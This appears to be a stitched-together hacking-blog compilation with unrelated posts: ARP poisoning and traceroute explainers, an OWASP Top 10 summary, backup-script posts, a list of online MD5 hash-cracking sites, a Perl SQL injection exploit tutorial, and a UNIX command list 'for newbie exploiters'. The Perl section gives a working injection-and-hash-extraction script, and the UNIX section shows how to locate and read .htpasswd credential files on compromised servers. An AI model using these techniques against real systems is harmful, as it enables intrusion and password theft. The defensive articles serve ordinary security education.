Hackers lie. Skillful hackers lie well. And well-rounded hackers can lie both to people and to machines.

Lying to people, known as "social engineering," involves tactics (detailed at length by convicted hacker Kevin Mitnick) such as posing as a company’s employee so the company’s real employees will blab secrets freely. Lying to machines involves lots of different techniques, and a commonly used one — ARP Cache Poisoning — is the focus of this article. ARP poisoning enables local hackers to cause general networking mayhem. Because it’s mostly "incurable," every administrator should be aware of how this attack works.

ARP Refresher

In Foundations: What Are NIC, MAC, and ARP?, we explained that Address Resolution Protocol (ARP) is how network devices associate MAC addresses with IP Addresses so that devices on the local network can find each other. ARP is basically a form of networking roll call.

ARP, a very simple protocol, consists of merely four basic message types:

1. An ARP Request. Computer A asks the network, "Who has this IP address?"

2. An ARP Reply. Computer B tells Computer A, "I have that IP. My MAC address is [whatever it is]."

3. A Reverse ARP Request (RARP). Same concept as ARP Request, but Computer A asks, "Who has this MAC address?"

4. A RARP Reply. Computer B tells Computer A, "I have that MAC. My IP address is [whatever it is]"

All network devices have an ARP table, a short-term memory of all the IP addresses and MAC addresses the device has already matched together. The ARP table ensures that the device doesn’t have to repeat ARP Requests for devices it has already communicated with.

Here’s an example of a normal ARP communication. Jessica, the receptionist, tells Word to print the latest company contact list. This is her first print job today. Her computer (IP address 192.168.0.16) wants to send the print job to the office’s HP LaserJet printer (IP address 192.168.0.45). So Jessica’s computer broadcasts an ARP Request to the entire local network asking, "Who has the IP address, 192.168.0.45?" as seen in Diagram 1.

All the devices on the network ignore this ARP Request, except for the HP LaserJet printer. The printer recognizes its own IP in the request and sends an ARP Reply: "Hey, my IP address is 192.168.0.45. Here is my MAC address: 00:90:7F:12:DE:7F," as in Diagram 2.

Now Jessica’s computer knows the printer’s MAC address. It sends the print job to the correct device, and it also associates the printer’s MAC address of 00:90:7F:12:DE:7F with the printer’s IP address of 192.168.0.45 in its ARP table.

Hey ARP, Did You Know Gullible Is Not in the Dictionary?

The founders of networking probably simplified the communication process for ARP so that it would function efficiently. Unfortunately, this simplicity also leads to major insecurity. Know why my short description of ARP doesn’t mention any sort of authentication method? Because in ARP, there is none.

ARP is very trusting, as in, gullible. When a networked device sends an ARP request, it simply trusts that when the ARP reply comes in, it really does come from the correct device. ARP provides no way to verify that the responding device is really who it says it is. In fact, many operating systems implement ARP so trustingly that devices that have not made an ARP request still accept ARP replies from other devices.

OK, so think like a malicious hacker. You just learned that the ARP protocol has no way of verifying ARP replies. You’ve learned many devices accept ARP replies before even requesting them. Hmmm. Well, why don’t I craft a perfectly valid, yet malicious, ARP reply containing any arbitrary IP and MAC address I choose? Since my victim’s computer will blindly accept the ARP entry into its ARP table, I can force my victim’s gullible computer into thinking any IP is related to any MAC address I want. Better yet, I can broadcast my faked ARP reply to my victim’s entire network and fool all his computers. Muahahahahaa!

Back to reality. Now you probably understand why this common technique is called ARP Cache Poisoning (or just ARP Poisoning): the attacker lies to a device on your network, corrupting or "poisoning" its understanding of where other devices are. This frighteningly simple procedure enables the hacker to cause a variety of networking woes, described next.

All Your ARP Are Belong To Us!

The ability to associate any IP address with any MAC address provides hackers with many attack vectors, including Denial of Service, Man in the Middle, and MAC Flooding.

Denial of Service

A hacker can easily associate an operationally significant IP address to a false MAC address. For instance, a hacker can send an ARP reply associating your network router’s IP address with a MAC address that doesn’t exist. Your computers believe they know where your default gateway is, but in reality they’re sending any packet whose destination is not on the local segment, into the Great Bit Bucket in the Sky. In one move, the hacker has cut off your network from the Internet.

Man in the Middle

A hacker can exploit ARP Cache Poisoning to intercept network traffic between two devices in your network. For instance, let’s say the hacker wants to see all the traffic between your computer, 192.168.0.12, and your Internet router, 192.168.0.1. The hacker begins by sending a malicious ARP "reply" (for which there was no previous request) to your router, associating his computer’s MAC address with 192.168.0.12 (see Diagram 3).

Now your router thinks the hacker’s computer is your computer.

Next, the hacker sends a malicious ARP reply to your computer, associating his MAC Address with 192.168.0.1 (see Diagram 4).

Now your machine thinks the hacker’s computer is your router.

Finally, the hacker turns on an operating system feature called IP forwarding. This feature enables the hacker’s machine to forward any network traffic it receives from your computer to the router (shown in Diagram 5).

Now, whenever you try to go to the Internet, your computer sends the network traffic to the hacker’s machine, which it then forwards to the real router. Since the hacker is still forwarding your traffic to the Internet router, you remain unaware that he is intercepting all your network traffic and perhaps also sniffing your clear text passwords or hijacking your secured Internet sessions.

MAC Flooding

MAC Flooding is an ARP Cache Poisoning technique aimed at network switches. (If you need a reminder about the difference between a hub and a switch, see this sidebar.) When certain switches are overloaded they often drop into a "hub" mode. In "hub" mode, the switch is too busy to enforce its port security features and just broadcasts all network traffic to every computer in your network. By flooding a switch’s ARP table with a ton of spoofed ARP replies, a hacker can overload many vendor’s switches and then packet sniff your network while the switch is in "hub" mode.

Scared? Good, Now Calm Down!

This is scary stuff. ARP Cache Poisoning is trivial to exploit yet it can result in very significant network compromise. However, before you jump to Defcon-7, notice the major mitigating factor: only local attackers can exploit ARP’s insecurities. A hacker would need either physical access to your network, or control of a machine on your local network, in order to deliver an ARP Cache Poisoning attack. ARP’s insecurities can’t be exploited remotely.

That said, hackers have been known to gain local access to networks. Good network administrators should be aware of ARP Cache Poisoning techniques.

Since ARP Cache Poisoning results from a lack of security in a protocol that is required for TCP/IP networking to function, you can’t fix it. But you can help prevent ARP attacks using the following techniques.

For Small Networks

If you manage a small network, you might try using static IP addresses and static ARP tables. Using CLI commands, such as "ipconfig /all" in Windows or "ifconfig" in ‘NIX, you can learn the IP address and MAC address of every device in your network. Then using the "arp -s" command, you can add static ARP entries for all your known devices. "Static" means unchanging; this prevents hackers from adding spoofed ARP entries for devices in your network. You can even create a login script that would add these static entries to your PCs as they boot.

However, static ARP entries are hard to maintain; impossible in large networks. That’s because every device you add to your network has to be manually added to your ARP script or entered into each machine’s ARP table. But if you manage fewer than two dozen devices, this technique might work for you.

For Large Networks

If you manage a large network, research your network switch’s "Port Security" features. One "Port Security" feature lets you force your switch to allow only one MAC address for each physical port on the switch. This feature prevents hackers from changing the MAC address of their machine or from trying to map more than one MAC address to their machine. It can often help prevent ARP-based Man-in-the-Middle attacks.

For All Networks

Your best defense is understanding ARP Poisoning and monitoring for it. I’d highly recommend deploying an ARP monitoring tool, such as ARPwatch, to alert you when unusual ARP communication occurs. This kind of vigilance is still the greatest weapon against all kinds of attack — for, as Robert Louis Stevenson wrote, "The cruelest lies are often told in silence."

Resources:

Address Resolution Protocol Spoofing and Man-in-the-Middle Attacks

Introduction

Imagine a world without tracert/traceroute. You would be sending your precious packets out into the big wide world with no idea where they go and what they might meet when they are out there. When you set up routers with complex route statements you wouldn’t really know if everything you want is travelling the path you intend it to. When that pesky machine across the internet is "hammering" away at your mail server and you’d really like to know where it is you would be "blind". Enter traceroute, the network administrator’s personal "tracker".
Traceroute was originally conceived as a hack by Van Jacobson in about 1988. He needed to find a way to delineate the path his packets were taking through a routed network to troubleshoot some problems. There were no tools available to do this and there was no clear and easy answer. With knowledge of how the network works Van created traceroute. The solution is elegant in it’s pure simplicity. It’s all in the TTL…..
NOTE: My definition of a "hack" has always been that it is the use of the knowledge regarding how a system works to obtain results that the system was not intended to provide. As such I have always been extremely impressed by the pure simplicity of traceroute as a perfect example of a true "hack" of a system. It’s a little thing of beauty.

What’s a TTL?

The TTL, or Time To Live, is a field in the structure of an Internet Protocol, (IP), packet. Without a TTL a misrouted or mis-addressed packet sent out onto a network would forever travel cyberspace using up bandwidth for no good reason. The TTL is placed in the packets so that each router can check it and act accordingly. If a router that is not the destination of a packet receives one that has a TTL of 1 or 0 it must drop the packet, (not forward it onwards), and send an Internet Control Message Protocol, (ICMP), Time_Exceeded, (Type 11), packet to the originating IP address informing it that, to all intents and purposes, the destination IP address is "too far away" to be contacted. If a packet is received by a router that is not the destination of the packet then the router must decrement the TTL by one and forward the packet on to the next router, (or the destination IP address if that is the next "hop"). In this way control is maintained over messed up addresses or routes and the packets cannot wander forever.
Van’s Hack.
Knowing that the TTL is there for a reason and that a given response must occur if the number of hops required to reach the destination exceeds the TTL in the packet Van saw that this could be utilized to determine each router the packet passed through on it’s way to the destination address. This can be demonstrated manually and you can try this as you go if you like. Open a command/DOS prompt and type:-
ping yahoo.com <ENTER>

The response will be:-

Pinging yahoo.com [66.218.71.114] with 32 bytes of data:
Reply from 216.109.127.30: bytes=32 time=40ms TTL=49
Reply from 216.109.127.30: bytes=32 time=40ms TTL=49
Reply from 216.109.127.30: bytes=32 time=40ms TTL=49
Reply from 216.109.127.30: bytes=32 time=50ms TTL=49

Good, Yahoo is up…. But we have no idea how the packet got there. We can see that 32 bytes were sent, that it took an average of 42 milliseconds to get there and there’s that TTL thing set at 49. Knowing that most systems set the TTL at certain set points I can make a guess that the original TTL was 64 and, based on that assumption, I can guess that Yahoo is some 16 hops away from me…… But where? Try this:-
Ping -i 1 yahoo.com <ENTER>

The -i switch allows you to set the TTL in the packet to anything you please between 1 and 255. Knowing that, we know that the first router should drop the packet if we set the TTL to 1 and send and ICMP Type 11 packet in return, (Time_Exceeded).
The response will be:-
Pinging yahoo.com [66.218.71.114] with 32 bytes of data:
Reply from 207.XXX.XXX.1: TTL expired in transit.
Reply from 207.XXX.XXX.1: TTL expired in transit.
Reply from 207.XXX.XXX.1: TTL expired in transit.
Reply from 207.XXX.XXX.1: TTL expired in transit.
Well…. That’s the first router in the chain, (it’s actually my firewall. Your result will differ but it will be the first hop on the route to Yahoo from your computer). If we now set the TTL to 2 then the next router will send our Time_Exceeded packet back to us. Try:-
ping -i 2 yahoo.com <ENTER>
The response is:-
Pinging yahoo.com [66.218.71.114] with 32 bytes of data:
Reply from 207.XXX.XXX.17: TTL expired in transit.
Reply from 207.XXX.XXX.17: TTL expired in transit.
Reply from 207.XXX.XXX.17: TTL expired in transit.
Reply from 207.XXX.XXX.17: TTL expired in transit.
Nice… Thats my border router. Now I have two steps in the route. As long as I keep incrementing the TTL in the -i switch of the ping command I can manually tracert as far along the route to Yahoo as I get the Time_Exceeded responses from the routers. When you hit a firewall that will not respond to ping requests you will receive a "Request timed out" message. Usually this is the point you would give up, but it’s worth going another step or two because sometimes the firewall is set to not respond to pings themselves and not to allow them to the first internal router but they may allow them to the specific host you are trying to contact so it is worth going the extra mile.
Am I restricted to ICMP Pings?
Not at all. Just because your target has a firewall in place that stops pings doesn’t mean you can’t enumerate internal devices on the target network. Let’s say it’s a web server and the end of the traceroute looks like this:- (NOTE: It doesn’t for Yahoo and at this point do not continue to experiment with Yahoo or any other domain you don’t have rights or permission to do this against.)
14 70 ms 70 ms 80 ms unknown.level3.net [64.152.69.30]
15 70 ms 70 ms 80 ms unknown-66-218-82-226.yahoo.com [66.218.82.226]
16 * * * Request timed out.
17 * * * Request timed out.
18 70 ms 70 ms 80 ms www.yahoo.com [66.218.71.114]
We know that www.yahoo.com accepts HTTP requests on port 80 so we know that the firewall will let them in and we are really curious to see what those two "Request timed out" devices are. So you can fire up your favorite packet crafter, make up a packet that is a simple SYN request on port 80 to www.yahoo.com and set the TTL to 16 and send it out. With your trusty packet sniffer running you will receive the Time_Expired on your HTTP SYN packet. With some research as to the make-up of that packet you might be able to determine the operating system of the device, (Cisco IOS etc.). This works because even though HTTP is a TCP protocol the packets themselves are "wrapped" in the Internet Protocol, (IP), containing the TTL information and the required response to a packet that has "run out of hops" is the ICMP Time_Exceeded.
Conclusion
As you can see a very simple and innocuous looking part of a packet that has a simple function has been "subverted" into being a more powerful tool than it was ever intended. Today, every network administrator uses traceroute/tracert daily and most have no idea they are using a "hacking tool". Others have taken Van’s original concept and improved upon it and found other ways to "exploit" the principle quite successfully but in my opinion his "hack" is still the most elegant.

Hello ,

below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.

http://gdataonline.com
http://md5.rednoize.com
http://ice.breaker.free.fr
http://www.milw0rm.com/md5/
http://shm.hard-core.pl/md5/
http://www.hashchecker.com
http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/
http://md5.benramsey.com
http://md5.altervista.org
http://shm.hard-core.pl
http://plain-text.info
http://www.passcracking.ru/
http://www.securitystats.com/tools/hashcrack.php
http://www.xmd5.org/index_en.htm

Hello ,

i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.

Download :

      mysql-backup.sh         29-Apr-2009 08:31  488
      mysql-restore.sh        29-Apr-2009 08:31  1.0K

you need to change permissions for this script to be executed change permissions using :

chmod +x mysql-backup.sh

chmod +x mysql-restore.sh

This script requres mysql server, mysql clinet  and mysqldump to take backup of databases and then to restore it ,

Please post you feedback if you got any problem using this script please comment below .

Hello guys ,

i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories.

i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you  need is to change path for backup place and your repositores folder and then enjoy while this script take backup of each repository automatically it saves a lot of time.

Download Both scripts :

Backup.sh

Restore.sh

Below is step by step procedure on how to use this script :

Please if you modify it don’t remove my name or links

Step 1 ) upload backup.sh to you subversion server ,

Step 2) configure backup.sh according to your server requirements

Step 3) modify permissions for script using :

chmod +x backup.sh

Step 4) start the backup using : (* you should have permissions to directories on server where your repo exists)

sh backup.sh

Step 5) check backup logs using :

tail -f  {logfilepathhere}

Step 6)  Now Backup completed so you can compress backups files using :

tar cfz subversion_backup.tar.gz /home/svn/backups/full

Step 7) Move backup to new server where you want to take your svn or to some safe place

Step Start the restore process & upload restore.sh

Step 9) config paths in restore.sh as in step 2

Step 10) change permission of it using :

chmod +x restore.sh

Step 11) Execute the restore script :

sh restore.sh

Step 12) Every thing is restored you may go to bed for sleep now

Enjoy the script and do post your feedback , if anyone need subversion installation or backup or any other professional service you may contact me adeel.ahmad+hackinggurus at networkncc.com .

1. Cross site scripting (XSS)

The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.

Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.

Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.

2. Injection flaws

The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”

Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.

3. Malicious file execution

The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.

Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.

How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.

4. Insecure direct object reference

The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.

Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.

“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”

Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.

How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them

5. Cross site request forgery

The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.

“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”

Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.

How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes.

6. Information leakage and improper error handling

The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.

“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.

Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.

How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.

7. Broken authentication and session management

The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.

“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.

Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.

How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.

Another tip: get rid of custom cookies used for authentication or session management.

8. Insecure cryptographic storage

The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.

“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.

Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.

Furthermore, generate keys offline, and never transmit private keys over insecure channels.

9. Insecure communications

The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.

Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.

“The $17.4-billion retailer’s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.

How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.

10. Failure to restrict URL access

The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.

The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.

Real-world example: A hole on the Macworld Conference & Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.

How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.

How To Catch A Hacker

I just wrote this guide to give you some tips of which you may not have heard yet. Hopefully, it won’t come to a hacker getting in, but if it does…

Tip 1: Hackers cover their tracks. Experienced hackers cover them more thorougly, but amateur hackers sometimes leave things behind. Don’t expect them to leave any really big evidence behind; expect more of little things here and there you might find surprising. For example, if you’re writing a term paper and a black hat hacker accidently saved it when he took a paragraph out- that’s suspicious. Where did that paragraph go? Well, for one thing, now you know he was in that area. Check the folders surrounding the file- you might find something.

Tip 2: Decipher between the type of hackers that are attacking you. Experienced hackers will have a more in depth look around when they penetrate your system. They won’t touch much because they know that that won’t add too much to their knowledge. But if you know a hacker’s been in, and some files are messed with, and you have a log of someone guessing passwords to a file or something of that sort, its probably some newbie who’s just starting out. These are the easiest hackers to catch. They usually get so caught up in thoughts like “I’m in!” that they forget the basics, such as work behind a proxy.

My friend was setting up a webserver once. His first time too, and he wasn’t to anxious to set up some good software to protect against hackers and viruses. He didn’t put up one IDS, and before you know it, the obvious happened. But this time, a newbie had struck. The nice log files showed, bluntly across the screen, multiple instances of a foreign IP address that stood out. Some stupid newbie had tried to login as “uucp” on my friend’s XP computer, with a password of “uucp.” Well, that’s great, but he also had tried the same user/pass combination three times, enough to get himself logged nicely. Even a semi-brainless user with some form of neurological system knows that uucp isn’t a default XP account. Again, excitement toiled this hacker’s brain, and maybe if he hadn’t done that, along with a few other stupid things, he wouldn’t have gotten caught. What other things did he do? Well, lets see. He openned 35 instances of MS-DOS. He tried to clean the printer’s heads, and he edited a .gif in notepad. Then he uninstalled a few programs and installed some html editor, and replaced four files with the words “14P.”

He might as well have posted his phone number. In a few days, we had tracked him down to a
suburban town in Ohio. We let him go, not pressing any charges, because he had done nothing really damaging and had provided me with an example of a moron for this guide.

Tip 3: Don’t go crazy if you lose data. Chances are, if it was that important, you would have backed it up anyway. Most hackers nowadays wish they were back in 1989 when they could use a Black Box and having a Rainbow Book actually meant something. Most hackers aren’t blackhat, they are whitehat, and some even greyhat. But in the end, most hackers that are in systems aren’t satisfied by looking around. From past experiences, I have concluded that many hackers like to remember where’ve they been. So, what do they do? They either press delete here and there, or copy some files onto their systems. Stupid hackers (yes, there are plenty of stupid hackers) send files to e-mail addresses. Some free email companies will give you the IP of a certain e-mail address’s user if you can prove that user has been notoriously hacking you. But most of the time, by the time you get the e-mail addy it’s been unused for weeks if not months or years, and services like hotmail have already deleted it.

Tip 4: Save information! Any information that you get from a log file (proxy server IP, things like “14P”, e-mail addresses that things were sent to, etc.) should be saved to a floppy disk (they’re not floppy anymore, I wish I could get out of the habit of calling them that) incase there’s a next time. If you get another attack, from the same proxy, or with similar e-mail addresses (e.g: one says Blackjack 123@something.whatever and the other says Black_jack_45@something.znn.com) you can make an assumption that these hackers are the same people. In that case, it would probably be worth the effort to resolve the IP using the proxy and do a traceroute. Pressing charges is recommended if this is a repeat offender.

Tip 5: Don’t be stupid. If you’ve been hacked, take security to the next level. Hackers do talk about people they’ve hacked and they do post IPs and e-mail addresses. Proof? Take a look at Defcon Conventions. I’ve never gone to one, but I’ve seen the photos. The “Wall of Shame”-type of boards I’ve seen have IPs and e-mail addresses written all over them in fat red, dry-erase ink. Don’t be the one to go searching the Defcon website and find your e-mail address posted on the Wall of Shame board!

Tip 6: Don’t rely on luck. Chances are, sometime or another, you’re going to be targeted for an attack. Here you can rely on luck. Maybe they’ll forget? Maybe they don’t know how to do it? If you think this way, a surprise is going to hit your face very hard. Another way you could stupidly rely on luck is by saying this: It’s probably just a whitehat. On the contrary, my friend, it’s probably just a blackhat. A blackhat with knowledge stored in his head, ready to be used as an ax. It’s your data. You take the chance.

[1] Introduction
[2] Little panning of Perl language used into an internet context
[3] Perl SQL Injection by examples
[4] Gr33tz to …

—+— StArT

[1] Introduction

Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an
easiest life to everyone who decide to start writing a perl exploit.
There are few requisites u need to proceed:
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc…);
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc…).

Now, we are ready to start…

[2] Little panning of Perl language used into an internet context

Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the
server side (or other..). To make this u need to use some “Perl modules”.
Those modules must be put on the head of the script. In this tut we are going to use only the “IO::Socket” module, but
there are thousand and if u are curious just search on cpan to retrieve info on every module.

[-] Using the IO::Socket module
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting
of the script “use IO::Socket”. With this module u’ll be able to connect to every server defined previously, using
a chomp, look at the example.

Example:
print “Insert the host to connect: “;
chomp ($host=<STDIN>);

Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this
host. To do this, we must create a new sock that will be used by the interpreter to connect.
To create this we are going to write something like this:

$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";

In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp
($host=www.fbi.gov).
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").
Resume:
- Proto=>TCP -------> The protocol to use (TCP/UDP)
- PeerAddr=> -------> The server/host to connect
- PeerPort=> -------> Port to use for the connection

Ok, now let's go to the next step, which is the real hearth of this tut.

[3] Perl SQL Injection

Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.

The SQL code must be treaty like a normal variable (like “$injection”).

Example:
$injection=index.php/forum?=[SQL_CODE]

This string means that we are going to inject the query into “index.php/forum” path, following the correct syntax that
will bring us to cause a SQL Injection “?=”.

Now we must create a piece of code that will go to inject this query into the host vuln.

print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;

This piece of code is the most important one into the building of an exploit.
It can be considered the “validation” of the connection.
In this case the “print” command doesn’t show anything on screen, but it creates a dialogue and sends commands to the host.

In the first line the script will send a “GET” to the selected page defined into “$injection”.
In the third line it tells to the host “who/what” is making the request of “GET”. In this case this is Hacker, but it
can be “Mozilla/5.0 Firefox/1.0.4″ or other.
In the fourth line it defines the host to connect to, “$host”.

With the execution of this script we have made our injection.

Resume of the exploit:

use IO::Socket

print “Insert the host to connect: “;
chomp ($host=<STDIN>);

$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";

$injection=index.php/forum?=[SQL_CODE]

print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
close ($sock); #this line terminates the connection

A little trick:

Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.
Additionally, u want that your script will show the PWD on your screen.
Well, to make this, the next piece of code, could be one of the possible solutions.

while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print “]+[ Found! The hash is: $1n”;
exit(); }

This string means that if the answer of the host will show a “word” made by 32 characters (“0″ to “9″ and “a” to “f”),
this word must be considered the MD5 Hash PWD and it must be showed on screen.

Conclusions:
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.
U could use also the module “LWP::Simple” in the place of “IO::Socket”, but u should change something into the code.
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.

UNIX Commands

UNIX Commands are usefull, because without them you will not be able to explore shells etc. I listed all commands that may be helpfull for newbie exploiters.

pwd – shows actual path where you are

ifconfig [interface] – show interface config e.g. ethernet , wlan etc
ls – lists files in directorcy

ls -l – lists files in directory with details like date, size, attributes

ls -a – lists files in directory and shows hidden files

For example you are actually in directory /www/docs/pub/ccbill/files so putting ls command will let you to see all files in this directory. If you want move to /www/docs/pub/ directory then you just need to put ls /www/docs/pub/ it will move you there and show all files there also.

cat [file name] – shows content of file

For example you want to check what is inside /www/docs/pub/ccbill/.htpasswd file so you simply put cat /www/docs/pub/ccbill/.htpasswd command and all info inside will be displayed

locate [file name] – will let you to locate file directly, when the files are found it will display paths

For example you want to find htpasswd file on server so simply put locate htpasswd and it will find all paths with this file for you.

rm [file name] – removes a file, you can also add -i to make a confirmation for deleting

cp [file name 1] [file name 2] – copies a file

mv [file name 1] [file name] – moves a file

mkdir [dir name] – makes a new directory

i will post more soon and will explain commands one by one in my next posts so keep looking for them .